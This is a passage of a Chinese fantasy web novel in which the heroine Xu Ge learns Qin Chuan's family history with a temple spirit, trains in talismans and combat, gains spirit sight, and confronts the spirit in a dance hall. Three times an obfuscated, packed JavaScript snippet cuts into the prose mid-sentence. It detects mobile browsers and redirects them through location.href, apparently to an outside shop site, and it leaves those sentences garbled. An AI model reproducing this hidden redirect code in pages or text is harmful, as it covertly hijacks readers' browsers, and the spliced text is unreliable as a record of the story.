秦川一边慢条斯理地翻阅那几个帖子一边低声说道∶“噢……居然有这种事……” 陆南道∶“往前追溯,我们正好联系上了秦一逍,想了解一下那块地皮的历史。” 听到秦一逍的名字,秦川才抬起头来,斩钉截铁道:“你们怎么调查是你们的事,但是我不希望秦一逍接触这些东西,哪怕是一点儿也不行。” “为什么?”徐歌脱口问道。 “你是干这行的,应该清楚吧?”秦川嗤笑一声,“有时候你仅仅是拨了一下因果的水面,就有可能引起一连串的效应,不起眼的涟漪成了巨浪,最终完全吞没。我只是想保护我的儿子。” “可是秦先生应该也清楚,在既定的因果面前,逃避是没有用处的,”陆南开口道,“不如说,‘试图远离因果’这个行为,也在命运的算计之中。” 秦川闻言深深地盯着陆南,沉默了几秒后道:“……你们这行神神叨叨的我听不懂,但不论如何我也不会眼睁睁看着秦一逍去掺和这种事。 门外有我的保镖,如果你们再纠缠下去,我就只能让你们先去和他们谈谈了。” “好吧,既然您这么说,我们就不再插手这件事了。”陆南起身作势要带着徐歌离开。 临走前,陆南对秦川补充了一句:“秦先生,你应该也清楚,就算是我们不再深入下去,这件事早晚也会以另一种形式被‘解决’,到那时候,相信你能做好充分的准备。” “等等,”秦川忽地一下站起身,对着两人的背影喊了一声,“你们干活的地方,叫什么?” “没有名字。”陆南回答道。 “……后天,后天来这里,我会把我知道的都告诉你们。” …… 回到宿舍,徐歌一直在琢磨为什么秦川会对这些东西这么抵触,他的反应感觉已经超出了正常人的限度,难道是因为他的父亲,秦一逍的爷爷?还是说单纯的护子心切? 这些疑问,她一定要在后天抓住与秦川沟通的机会弄清楚。 而现在,徐歌需要继续自己的冥想,昨天她已经感知到了灵力,按照陆南的说法,再过两三天她应该就可以使用低阶的符咒了。 徐歌跑到床上拉开窗户,今晚的风依旧令人安心,她不是很能明白陆南口中因果的到底有什么强大之处,以至于提到它的时候,表现的那么无力。 但是徐歌小时候听妈妈说过,尽人事,然后再听天命,不管怎样徐歌也不愿意混吃等死,做好自己当下能做的事,一点点变得更强,起码要查清楚陆南的短命和自己被改运的原因。 陆南和爸爸妈妈,要和徐歌一起活到一百岁。 坚定了自己的想法后,徐歌不需要再胡思乱想,她闭上眼睛放空心思,手里的六道木被数到一半的时候,徐歌就又感受到了经脉里那股微小的能量。 渐渐地,徐歌对时间的流逝没有了实感,只记得自己一遍一遍地反复数着那一百零八颗串珠,而那股能量被徐歌更清晰地感知,没有疲惫,没有开心,没有任何情绪,她似乎被带到了无昼无夜的另一个空间。 那里无比地安静,徐歌在里面看不见任何东西,也产生不了任何念头,只是在这个空间里漫无目的地游走, 忽然,一只光点组成的鸟从她眼前翩然飞过,这是徐歌唯一可视的东西,她本能地跟随着这只鸟往前走——其实她也无法判断自己是否真的在“往前”走。 周围的光点渐渐多起来,组成了其他的东西,徐歌辨认出其中有鱼,有猫,有狗,还有数不清的人,那只飞鸟跃入他们之中,无处找寻。 突然有红线在他们之间蔓延,最终结成了一张密匝匝的网,徐歌低头,发现自己不知何时站到了网的中间。 那些人不约而同地朝徐歌转过头来,徐歌发现她们和自己有着一样的脸——这些动物与人,正是轮回中万万千千的自己。 那些红线攀上徐歌的身体,再次把她拉入了熟悉的虚无。 …… 时间一眨眼来到了与秦川约定的日子,徐歌对灵力的感知,已经不依赖手串的帮助了,于是她来到501,将手串还给了陆南。 陆南听完徐歌的成果汇报,从桌子底下拿出一小摞黄纸符咒放到桌子上:“这是我画的几种基础的符咒,我现在教给你符咒的用法。” “好!”徐歌想到自己也能像陆南一样凭空用符咒点火,就觉得十分开心。 陆南将一张张不同图案的符咒依次推到徐歌面前:“符咒,是我们的重要法器,但是只有开发了灵力之后才可以使用。符咒也可以自己写,灵力越强的写出来的符咒也越强。 这张是疾走符,把它按照一定的方式折叠然后塞到鞋里,可以极大地提升速度;这张是燃烧符,可以燃烧出特定的火焰;这是给你喝过的药符,对邪祟造成的伤害有不错的治愈作用;还有爆燃符,掷出去后会产生爆炸,对灵力消耗是最大的。” 陆南把燃烧符递了一张徐歌:“现在,你试试将灵力注入这张符咒。” 陆南先演示了一遍,他用右手夹着符咒,然后左手的中指和食指将符咒顺着一捋,符咒就腾地一下烧了起来。 “我试试。”徐歌学着陆南的样子,将灵力从丹田一直催向夹着符咒的指尖,她看见符咒顶端有细小的火星汇聚,明明灭灭的,但是始终无法让符咒燃烧起来。 这点子火星,和四天前,陆南烧纸人的时候点起的熊熊火焰相比,更是一个天上一个地下。不过当时他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635947|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用的似乎也不是这个颜色的符咒,莫非那种黑色符咒更高级? 她料到会有这种情况,所以并没有灰心,毕竟是刚开始,自己的进步空间还很大。 陆南笑着鼓励道∶“已经很好了,你已经成功入门了,等再过两三天,肯定能烧的更好——在此之前,你可以先用疾走符,你的身体素质好,肯定能很快地用好它。” 徐歌学着陆南的样子把疾走符折成小三角,然后夹到自己的鞋里,轻轻一跳就从刷地一下客厅的沙发上跳到了洗手间门口。 “我喜欢这个,”徐歌说道,“感觉坐车的钱都可以省了。” “符咒不是万能的,疾走符的有效期也只有半天,如果要日行千里,恐怕得需要阵法里,或者使用专门的术法,”陆南委婉地驳回了徐歌的想法,“而且你入职后会签一个类似保密协议的东西,我们需要避免在不会术法的普通人面前显露自己的能力。” 徐歌想了想,点点头:“说得也是,如果被不相干的人看见,肯定会造成很多不必要的麻烦。” “当然,如果发生特殊情况不得不违背保密协议,吴关帮你收尾的,”陆南补充道,“后勤部就是负责收尾工作,所以也不需要有太多顾虑。” “对了,还有这个。”陆南从怀里掏出一把木质的短刀,“这是我这两天用桃木给你刻的。” 徐歌接过来细细端详着,这把桃木短刀刻的很精细,连把手上都被细心地缠上了红色布条。 “太好了,谢谢你陆南。”徐歌开心地将短刀收好,这样她也有了一把趁手的武器了。 “对了,与秦川的会面,就让我一个人去吧,”徐歌正色道,“你已经跟着我忙前忙后这么多天了,也没好好休息,更何况这是我自己的考核,我也想让自己尽快独立起来。” 陆南沉默了几秒,答应道:“好,你自己要注意安全。” “哦对了,你今天不出门对吧?我借你自行车一用。”徐歌自从那次公交车上遇上纸人后,对坐公交车还是多少有点抵触。 “你尽管骑走就好。”陆南回答道。 徐歌收拾好东西下楼,把自行车从槐抱榆的树荫底下推了出来,她这是第一次仔细地观察这辆自行车∶这辆车的车身是金属做的,上面喷了蓝漆,推起来比较轻,后座也是用金属编了个平台,坐久了屁股肯定会硌出印子来,车头装着一枚小巧的铃铛,用拇指拨弄两下,铃铛就会发出叮叮的清脆响声。 徐歌骑上这辆自行车吱吱悠悠地向面馆的地方赶去,由于是中午出发,街上人来人往很拥挤,徐歌骑着车灵活地穿梭在缝隙间——顺便庆幸了一下还好自己没车可开——总算是按时到达了前天吃饭的面馆。 但是这家面馆和前天闹哄哄的场景不同,空旷的店里只坐着秦川一个人,和外面人来人往的氛围形成了鲜明的对比。 “坐吧,”秦川招呼徐歌坐下,他看了看门外,问道,“就来了你一个人吗?” 徐歌在秦川的对面坐下:“他有点事来不了,秦老板和我说也是一样的。” “话说,店里为什么没有其他人?” 秦川笑起来,徐歌有点怀疑自己是不是问了一个很弱智的问题。 即便是如此,秦川还是回答道:“这里我包场了,我们要谈的事情被别人听到难免节外生枝不是吗?” 第一次听说包场这个词,徐歌想到毕竟这是有钱人才能做出来的,自己不懂也很正常嘛,只是秦川似乎不理解自己为什么不懂,但是也没有什么解释的必要。 “我知道你的时间很宝贵,别的问题我不问了,让我们直入正题吧,秦老板,”徐歌说道。 “当然,我会把我知道的一五一十告诉你们,”秦川将手支在桌面上,不自觉地就摆出了商人谈判的架势,“但是在此之前,我想你们答应我一件事。” “什么事?” “不管后面遇到什么东西,都要保证我儿子秦一逍的安全。” “这是肯定的,就算你不说我也会做的。” “那我就在此谢过了,”秦川说道,“你们应该需要知道我父亲的事情吧,那个人,一直都是那样。” 14.庙老爷 8 “你有没有听说过,‘庙老爷’?”秦川问道。 徐歌点点头:“知道,秦一逍向我们提起过。” 秦川揉了揉眉心,道:“这臭小子,什么都往外捅,不过既然你知道,也省得我再唠叨了。” “不过秦一逍也只是给了我几个长声上的帖子,而且帖子上的内容都大相径庭,”徐歌说着把那几个帖子给秦川展示了一下,“哪个帖子讲的是真的?” 秦川看了看,道:“每个帖子都真假参半吧。 庙老爷到底是什么来历,我也不清楚,可能就和帖子里说的一样,是在一座破庙受了香火然后生出来的吧。 我父亲,也就是秦一逍的爷爷,之前是个商人,后面做生意赔了本儿,混成了个乞丐,他和我讲过,那些日子他就整天在庙里偷贡品吃,后来遇上村里一个混混,被拖出去打了个半死,庙老爷也许是看不下去了,就把他给救了,至于具体是怎么救的,他说他也不记得了,他只记得被打完后缩在门槛边上晕晕乎乎睡了一觉,醒来后身上的伤就全好了,口袋里还多了几张票子。 庙里没有牌位,更没有神像,他不知道庙老爷在哪里,于是就朝着各个方向磕了头,嗑完后揣着那些钱去镇上成功发了家。 后来他听说,那个混混从那天开始就失踪了,就像凭空消失了一样,混混的家人在愤恨之下推倒了那座破庙。他就去那片废墟上找,结果真的见到了庙老爷。” 见秦川停了下来,徐歌接着问道:“然后呢?” “然后,他就把庙老爷带到了我们家里,我们家的生意节节向上,家底也越积越厚,他说是多亏了庙老爷的保佑。”秦川在说这些话的时候,脸上的表情却十分沉重。 “这对你们来说,不应该是好事吗?”徐歌问道。 “好事?你知道混混那一家人,后来怎样了吗?村里凭空着了一场火,把他们都烧死了,而那场火,是在雨里着的!而且只烧了他们一家的房子,这不是庙老爷干的又会是谁?这样一个说杀人就杀人的仙家,怎么能让祂被带到我家里?!”秦川越说越激动,“秦一逍又是个不省心的,对这些东西还格外感兴趣,万一秦一逍因为什么得罪那个庙老爷,后果我不敢想……” “所以……你才会选择在秦一逍的爷爷去世后,离开原来的那个房子,借此摆脱掉庙老爷——冒昧问一下,你的父亲是怎么去世的?” “那天晒着晒着太阳就死了,别人都说是好人好报,寿终正寝。他死了,我就能放心远离那个地方了,谁知道庙老爷那些所谓的‘保佑’,有没有别的代价?” 看来,可以基本确定舞厅里的是庙老爷了。徐歌觉得秦川的讲述大概率是实话,而且这样一来,秦川刚接手公司的那段经营低谷也可以解释的通了。 “但是千躲万躲,还是逃不开吧,”秦川整个人仿佛泄了气一般,“那个庙老爷又在焦点舞厅开始害人。一开始我是想装作什么也不知道,后来想到如果因此牵连到更无辜的人,我的良心又过不去……很搞笑吧?” 就算再怎么想要摆脱,这条因果还是兜兜转转地绕回到了秦川身上。 徐歌说道:“可是,你搬家后接手了公司,庙老爷的庇佑就不在了,但公司非但没有倒闭,反而运营的比你的父亲那时候还要好,这就足以证明一切了。” 秦川看向徐歌,无奈地笑笑:“这又能证明什么呢?不过是我运气好罢了。” 徐歌沉思了一会儿说道:“秦先生,我有一个和你不同的想法,你愿意听听看吗?” 秦川伸手示意徐歌说下去,后者开口道:“首先,那个混混家被烧,是发生在破庙被推倒之后的事吧?这就证明,庙老爷有一定的行动能力,在你搬家之后,祂是完全有能力去踢英园对你们展开报复的。可是祂并没有这样做。” 听到这里,秦川不自觉地直起了身子。 徐歌继续说道:“其次,混混全家的死亡如果就算真的是出自庙老爷之手,也是他们冒犯在先,我这样说可能有些不近人情,总之对仙家不敬的人,据我所知,是都不会有什么好下场的,可能庙老爷的手段激进了一些,但这不能证明祂就是一个残暴的仙家。而且你父亲在庙里吃了祂那么多贡品,祂后面还对你父亲施以援手,这足以证明祂是可以明辨是非的。 而且,虽然舞厅里发生了灵异事件,但到目前为止都没有人受伤,所以我凭借我自己的想法做出一个判断——庙老爷并不是一个残暴的仙家,祂甚至可以称得上温良。” 秦川深吸了一口气,她说的不无道理,莫非自己是陷入了对庙老爷的刻板印象之中,一步步地牵扯出了更多消极的想法?是自己误会了这个庙老爷? 不,这些东西在没有亲眼见到庙老爷之前都没有办法被证实,不管哪一种都是猜想。但听了徐歌的推理,秦川开始对她有了新的认识,这个短发女生或许并不是一个莽莽撞撞的蠢人。 被他们问到时,秦川才意识到自己根本没有信心做好“充分的准备”迎接那个果,这些年来他一直绷着弦躲下去,甚至反对秦一逍接触所有与之相关的东西,对于这些,他早就已经身心俱疲了。 “总而言之,这就是我知道的所有的东西了,如果你有任何的问题,就在长声上联系我吧。” 于是徐歌留下了秦川的长声账号:【昭阳】,头像是一幅太阳的卡通画,笔触稚嫩,是秦一逍小时候用蜡笔画的。 …… 徐歌回到宿舍,把此行得到的情报一五一十地跟陆南说了一遍。 “不能光寄希望于能劝得动庙老爷,我们应对的是仙家,危险程度不能和一般的怨魂相提并论,”陆南当下拿出了手机开始联系吴关。 徐歌见此说道:“没事儿,这不就是最好的主动迎凶的办法吗?我相信我没那么容易出事。而且都安排好了要去这个考核 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640455|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再改也很麻烦吧?” 话音刚落,徐歌的手机就来了消息。 【与你无关】:晚上七点广场见,给你培训哦!–今天19:16 “所以我让吴关给你紧急培训,但是他下手没轻没重的,你得多小心点,”陆南叹了口气,“原本是不想让他教你的,可是现在形式有点严峻,只能加大强度了。” ——这是徐歌飞向树丛的瞬间,脑袋里闪过的回忆。 不到一个小时的时间里,徐歌被吴关扔出去了十几次。 这是下手没轻没重吗?分明是殴打实习生吧!! 怎么开始的来着,哦,一开始是吴关说自己灵力太弱更适合修习体术,然后下一秒就点了张符打上来了。 吴关站在那片空地上,风雷水火都被他朝着徐歌甩了个遍,徐歌要不是挂门出身,高低得被他打出个好歹。 “我这百忙之中抽出时间给你上课,你怎么光挨打呢?”吴关叉着腰说道,“有用的趁手的武器吗?拿出来。” “我也不想挨打啊……”徐歌从树丛里爬出来,抽出了腰间那把陆南给她削的桃木匕首,重新摆好了架势。 成功与他过了几招后,徐歌又成功地被风符吹起来的风吹飞了。 吴关笑叹道:“忘了告诉你,我时间很宝贵,给你的培训是要收费的,你磨蹭的时间越长,收费越多。” 听到这句话的瞬间,徐歌在空中扭转身体,将匕首先一步插到地上,落地的瞬间用脚蹬上了匕首,借力稳住了身形,然后她拔出匕首朝前方猛地一掷,竟然生生破开了迎面吹过来的劲风。 吴关偏头,躲过了朝他直直飞来的匕首,正要再用一张符,却被徐歌一把制住了手腕。 “收钱你不早说!”徐歌朝着吴关就是一记冲拳。 吴关笑了一声,居然从脚底展开了一张阵法!霎时间,一股比符咒范围更广,更具压迫感的强风朝着徐歌压过来。 然后一眨眼的功夫,徐歌就又被轰了出去。 “你还在这里提前布了阵?”徐歌灰头土脸地从草丛里探出头来。 “可以这么说,”吴关把匕首捡起来还给了徐歌,“符咒和阵法,都是陆南擅长的东西,不过我想他肯定不会用这些揍你,所以顺带让你体验一下啦。” 徐歌:“我真谢谢你啊。” “好了,今天先教到这儿吧!”吴关伸了个懒腰,还没等徐歌回答就自顾自离开了。 “除了揍我之外你教我啥了?”徐歌将匕首收回腰间,看着他的背影腹诽道。 这人真的靠谱?三天下去能学到什么啊?挨打的技巧?难道被他抽上两天身体就能变得刀枪不入? 这纯是皮被打厚了吧?? 几个小时的培训过去,徐歌浑身酸痛,手脚并用地以十分扭曲的方式爬回了宿舍,就连每天的冥想都顾不上了,直接躺在床上蹬掉鞋子倒头就睡。 15.庙老爷 9 清晨的阳光透过窗户懒洋洋地洒在室内。陆南推门进来时,正撞见徐歌顶着那头乱成鸡窝的短发,蔫头耷脑地瘫在椅子上,活像一株被烈日烤蔫了的草。 陆南找来玻璃杯倒上热水,当年他是入职之后才进行的培训,当时被打得躺了好几天才缓过来。徐歌练武底子好,再加上自己给吴关发过消息让他收着点儿,看徐歌的状态还不错,至少身上没留下什么伤。 徐歌走投无路地理了理自己蓬乱的短发,问道:“吴关有没有什么弱点?他昨天用的符咒和阵法来揍我,但是我听他的意思,好像他不只会这两种?” “他是个杂修,”陆南的语气带着几分习以为常的无奈,“阵法、符咒、丹药、体术、法器、命理……就没有他不会的,而且样样都精。要说弱点……”他微微摇头,“至少我不知道。” 杯壁的暖意透过掌心,陆南顿了顿,补充道:“真要论他最擅长的,恐怕是命理。不只是看透他人的因果命数,他甚至能……干涉因果。” 他抬眼看向徐歌,将热水递过去:“很多无关人士的记忆,都是由他出手抹去的。” “这,居然能做到这种事……”徐歌握着杯子一时忘了喝。 “我入职那年,吴关也给我做过培训,当时他和我对战用的是符咒和体术,当时我也是和你一样的感觉,要说是战胜他,是绝对不可能的,但是在和他的交手中,的的确确能学到很多,培训结束之后我的灵力可以说比之前强了一倍。” 这样看来,吴关的培训是很有用的,只是徐歌还没有找到适应的节奏。“我昨天就光挨打了,但是复盘一下确实能总结出来不少东西,”徐歌很快就振作起来,“我要看看他收我钱,到底能让我学到什么。” 更何况,徐歌莫名好奇吴关到底是个什么样的存在,这不是因为慕强心理,而是一股冥冥之中的,说不清道不明的引力。 于是,徐歌白天跟着陆南学符咒,晚上又去参加吴关的紧急培训,着实有种疲于奔命的感觉。多亏徐歌从小跟着父亲练武,否则身体在这样高强度的消耗下早就垮掉了。 等到最后一次培训的那天,吴关带来了一只沾着红色染料的毛笔。 吴关把毛笔拿在指尖转了转:“你的灵力太弱了——可以说是一点天分都没有。现在能成功点燃符咒,没少跟着陆南练习吧?” 吴关一开始就说了徐歌不适合学习术法,这几天也没教她这方面的东西,她白天跟着陆南学那么几个小时,回去再自己冥想,取得的进展的确微乎其微。 和吴关这种人比起来,徐歌的确难以望其项背,甚至是一起长大的陆南,自己都和他有着很大的差距。 ……说到底,自己之前只是个空有力气的普通人罢了,阴差阳错地被逼上了这条路,这些天没日没夜的努力,起码在短时间内仍旧没办法弥补他们之间的距离。 “所以,你还要继续学术法吗?”吴关问道,“想清楚,你在体术方面的天赋远远强于你的灵力天赋,用修习灵力的精力去修习体术,肯定更轻松。” 徐歌沉默了几秒,认真地回答道:“要,对付邪祟空有力气肯定不行,我可以比别人多努力一点,缩短这些差距。” “知道了,”吴关笑着晃了晃手中的毛笔,“——这算是给你的额外服务。” 徐歌闻言眼睛一亮:“你是有什么办法?” “那当然。” 吴关脸上那抹玩味的笑意倏地收起,指尖的火苗嗤地一声舔过笔尖,朱砂瞬间被点燃。不再多言,他身形如电,手中的毛笔化作一道赤红的流光,疾速在徐歌裸露的胳膊和脸颊上游走。冰凉的笔尖与温热的皮肤接触,留下道道繁复玄奥的符文,如同活物般蜿蜒盘踞。 “以身做白纸,开光变神通。”吴关的声音少有地低沉而庄严,每个字都仿佛带着奇特的韵律。他宽大的黑色风衣无风自动,猎猎作响。 “开你左耳听阳间,开你右耳听阴府,开你口唇念神符,开你双眼辨混沌。”语速越来越快,毛笔精准地点过徐歌的左耳、右耳、唇瓣、双眼,最后一点朱砂如血滴般印在她眉心。 吴关屈指一弹,一点火星精准地落在徐歌脚边。 “噌——!” 赤红的火焰毫无预兆地冲天而起,瞬间将徐歌的身影完全吞噬。灼热的气浪扑面而来,又转瞬即逝。 火光散尽,徐歌站在原地,毫发无伤,但整个人却仿佛脱胎换骨。她惊异地抬起手臂,只见皮肤上那赤红的符文正以肉眼可见的速度极快地渗入肌理,转瞬间消失无踪,仿佛从未出现过。 “这是……?”徐歌又惊又喜,她能清晰地感觉到体内原本稀薄微弱的灵力,此刻如同被疏通的小溪,变得充沛、活跃起来。 风簌簌吹下一片树叶,徐歌的眼睛敏锐地看到还在叶脉上爬行的小虫,就连树叶轻轻落到地上的声音都被徐歌所捕捉。 “一点引渡灵力的独门秘方,”吴关恢复了那副懒散的模样,嘴角噙着笑,“你现在开了灵窍,算是彻底入了术士的门,阴阳眼自然就有了。” 阴阳眼……这意味着从此以后,不借助任何法器,即使在光天化日之下,徐歌也能直接窥见那些游荡的怨魂厉鬼。除了陆南这种天生有阴阳眼的人外,后天的阴阳眼只有灵力强到一定程度才能获得。 “当年你也给陆南画了这个吗?” “没画。当时他的灵力已经不需要这些做辅助了,这招是给你这种没天分的准备的,唉……三天了才学会点个燃烧符……” “好了我知道了你不要再说了。” 吴关伸出手指碾了碾:“哼哼……给钱吧。” “我要给你多少?”这几天的培训肯定不便宜,再加上还是吴关亲自指导,最后又给开了增强灵力的小灶,徐歌已经做好了拖欠巨额债务的准备。 “两元。” 听到这个熟悉的数字,徐歌猛地睁大了眼睛,吴关的笑容在她眼里渐渐熟悉起来,直到和那个戴着墨镜的男人重合。 …… 开了阴阳眼没多久,徐歌就在回去的路上深切地体会到了它的功用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654130|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看见一只近乎透明的小鬼趴在一个女人身上,后者对此仿佛一无所知,还在超市门口等结账。 徐歌当即掏出手机给陆南打去了电话。 “怎么了?”陆南的声音自电话里传出来。 “我看见有个怨魂趴在一个女人身上,我应该怎么做?” 陆南接着问道:“你开了天眼?” “对。” “一定要无视掉,不要让它们注意到你能看见它们。” 陆南话音刚落,那只婴儿形状的怨魂好像感知到什么一般,朝着徐歌这边投来了空洞的视线。 徐歌赶忙和它错开视线,假装在看超市门口的广告传单。 陆南在那头放缓了语气,似是劝告又似是安慰:“因果不到,我们是不可以插手这些事的,这也是我们不去主动揽活而等着别人来委托我们的原因。” 徐歌呆呆地点头,却忘了电话不能传送点头的声音:“那个女人会有事吗?” “不确定。”陆南的回答很坦诚,“以后,这些东西你会经常看到。你有山鬼花钱护身,一般邪祟近不了你的身。就是……”他顿了顿,“就是看见了,难免会觉得不舒服,得慢慢习惯,无视它们。记住,千万不要主动去招惹,哪怕是无意的接触。” “如果不小心……沾染上了呢?”徐歌的喉咙有些发紧。 “会被它们缠上,拖入它们的因果,甚至……成为替死鬼。” 徐歌赶紧迈步离开,顺带把吴关就是那个算命的告诉了陆南。 陆南对此反应一点也不意外,他一开始就想过,就算吴关和那个算命的不是同一个人,两者之间也脱不了干系。 吴关一向精通命理,因果命理又是很难解释得清的东西,至于他为什么要这样做,问也不会有什么结果,所以陆南干脆就决定顺着这条路走下去了。 挂掉电话,一路上徐歌都在控制自己不要再像之前一样东瞅瞅西看看,以免再看见什么不干净的东西,直到半路遇上放心不下于是骑着车来接自己的陆南。 上车后,徐歌一直沉默地坐在后座上,陆南温和的声音从前面传过来:“今晚上想吃什么?” 徐歌有些出神地在后面扯了扯陆南的衣摆:“你是什么时候习惯的?就是……经常看见这种东西。” 陆南似乎轻笑了一声:“很早很早就习惯了,小孩子的接受能力很强的,更何况是天生就能看见。” 陆南没有说,自己是如何一点一点习惯的,尤其是当他意识到只有自己能看到那些东西的时候,那种孤独又恐惧的感受——如果有人能在投胎的时候和他商量一下,他说不定会摇摇头,怯怯地说自己不要来了。 他的情感自小就像冻过劲儿的罐头,一口下去满是扎嘴的冰碴,冷硬而无味,就算被吓到了也只是自己窝在角落里不声不响地缓上半天。直到,徐歌自说自话地过来,又大喇喇地和他挤在一起,他就这样被一点一点地挤出角落。 “那,我想吃包子。” 陆南笑着收回了思绪:“好。” 16.庙老爷 10 考核的当天晚上,两人提前向孟寻真打了招呼,要来了舞厅的钥匙,徐歌去外面割了一块红布,里面包上了几张疾走符,燃烧符和爆破符,还有几根香和打火机。收拾好后,和陆南一起去到了焦点舞厅。 陆南作为陪考,只能在必要的时候出手保障徐歌的人身安全。 傍晚的时候下过一场雷阵雨,舞厅的金属门把手上还沾着雨滴,用手一拧,上面的水滴就纷纷落到地板上。 进入熟悉的舞厅一楼,原本空旷的房间里回荡着二人的脚步声,徐歌点燃了一张燃烧符用来照明。紧接着徐歌就感觉不对劲,明明刚刚陆南站在原地看她点燃符咒,根本没有走动,那脚步声却仍旧在一楼回荡。 由远及近。 哒,哒,哒。 她拿着符咒照着周围转了一圈,没有发现任何东西。突然,头顶的灯球滋滋地响了两声,然后发出了耀眼的红光。 一股无由的恐惧从徐歌心底迅速地攀升,这种恐惧不是对特定的东西的恐惧,就只是单纯的恐惧,连自己都不知道在害怕什么。 那脚步声像极了催促的鼓点,哒哒哒地越来越快,仿佛下一秒就会有什么东西跑着扑上来一般,这使徐歌的心里产生了一股作为猎物要赶紧逃离这里的冲动。 强忍着逃跑的意愿,徐歌被陆南带着朝着楼梯跑去,一直爬到楼梯拐角灯光照不到的地方,那股莫名的恐惧才逐渐消退。 来到二楼,徐歌听陆南开口说:“这红光给我的感觉很不好,我建议撤退,等做好准备再来。” 刚开灵窍的徐歌灵力有限,燃烧符发出的火光晦暗不明,徐歌将符咒举到陆南清瘦好看的下颚旁边晃了一下,反手紧紧地攥住了他的胳膊。后者见状愣了一下,问道:“怎么了?” 徐歌伸手指了指山根的位置,淡淡地说了一句:“你的痣忘点上了。” “陆南”脸上温和笑容瞬间如同冻结的水面,僵硬地凝固在了脸上。昏黄的火光下,那张熟悉的脸庞,此刻透出一种令人毛骨悚然的陌生感。 与此同时,楼下传来灯泡爆轰然裂的声响,可以听见四散的玻璃碎片噼里啪啦地掉落在地板上,徐歌手下用力直接扭断了“陆南”的胳膊,而后迅速抽出桃木匕首将对方的手掌钉在了墙上。 但桃木似乎对眼前的这个家伙并不起作用,后者轻易地将桃木匕首抽了出来,下一秒,一股无来由的强风迎面撞上徐歌的面门,将她掀飞到了墙角,原本摆放在二楼的沙发直直地朝着徐歌飞了过来! 徐歌反身蹬墙借力,一脚把沙发踹了回去,再看“陆南”居然抬手在半空画了一道长符,紧接着数道半人高的冰锥破空刺来,徐歌避之不及,眼见得要被戳成筛子,一道身影以更冷、更快的速度拦在了前面。只听一阵冰块碎裂的声响,数道冰锥已被一柄缠绕着符文的长棍抡成了冰碴。 “小心,他也会用符。”徐歌出声提醒。陆南挽棍收势,侧身挡在徐歌面前,与“陆南”沉默地对峙着。后者再次抬手绘符,陆南紧随其后在空中绘符拍了过去,两符相撞顿时爆开灼人的热浪,在这热浪之下,“陆南”那张缺了两点痣的脸皮一块块地剥落下来,露出一张老人脸。 邪祟是没办法使用术法的,徐歌看着那张脸想道,果然,这是仙家庙老爷。 “庙老爷,我们不是来赶您走的,”徐歌从陆南背后走出来,学着书上的样子对着庙老爷行了一礼,“我以为是邪祟才先动的手,冒犯您了真是不好意思——不知您是否记得‘秦一逍’?” 听到这个名字,庙老爷停下了动作,转而警惕地盯着陆南。陆南笑了笑,一路退到窗边,示意徐歌继续讲下去。 庙老爷这是在忌惮陆南?徐歌想到刚刚陆南用符和庙老爷难分上下,忌惮也正常,暂且抛开疑问,继续道:“我们这次来,是想向您传达秦一逍爷爷的意愿……” 庙老爷闻言缓缓回答:“我一直都知道他的意思,但是我离不开。” “离不开?”徐歌脱口问道。 “是因为没有了‘庙’吧?”陆南在一旁说道,“仙家一般都会寄身于神像或者牌位等象征符号里,秦一逍的爷爷去世后,就没有人去为您准备这些了,所以您失去了寄身的东西,只能在舞厅里游荡。” 庙老爷看向陆南,缓缓道:“太吵了,原本的家已经被拆了,这里太吵了。” 灯球发出的红光让人无来由地想逃离,但没有其他实质性的伤害……包括丧乐和多出来的舞伴,都是这个性质。 也就是说,近期舞厅里发生的那些恐怖事件,都是因为庙老爷想把在这里唱歌跳舞的人吓走,要回原本清净的地方。 居然是这么简单的原因…… 徐歌问道:“可是,舞厅每天来往的人很多,其中应该也会有像秦一逍爷爷一样良善的人,您为什么不去跟着其他人呢?这样一来您也可以离开这个地方了。” “我答应过他,要继续庇佑他的子孙后代,”庙老爷看起来仿佛有些失落,“只是在他们当中,我没有发现让我满意的人……” 徐歌想到秦川谈到庙老爷时,那副抵触的样子,想来庙老爷也不可能上他的身。 此时陆南从包裹里拿出一座刻好的木质小庙,将它展示给庙老爷:“这是我托人给您做的庙宇,如果不嫌弃,您可以寄身在这里面,这样就不用再在舞厅里无处可去了。” ——也不用半夜被人看见后把人家吓个半死了。 徐歌很是惊讶,陆南居然早就准备好了这个小庙,难不成是他早就猜到了是这个原因? “您有没有意愿,跟着我们呢?”陆南问道,“我们每周都给您敬上香火。” 这样一个仙家,如果能成为他们的助力是再好不过的。 但庙老爷缓缓摇了摇头,用不容置喙的语气拒绝了:“我只会跟着秦家的后人,就算一时间遇不上,我也会一直等。” “我明白了,”陆南将小庙放在桌子上,“那就请收下给您的这座小庙吧。” 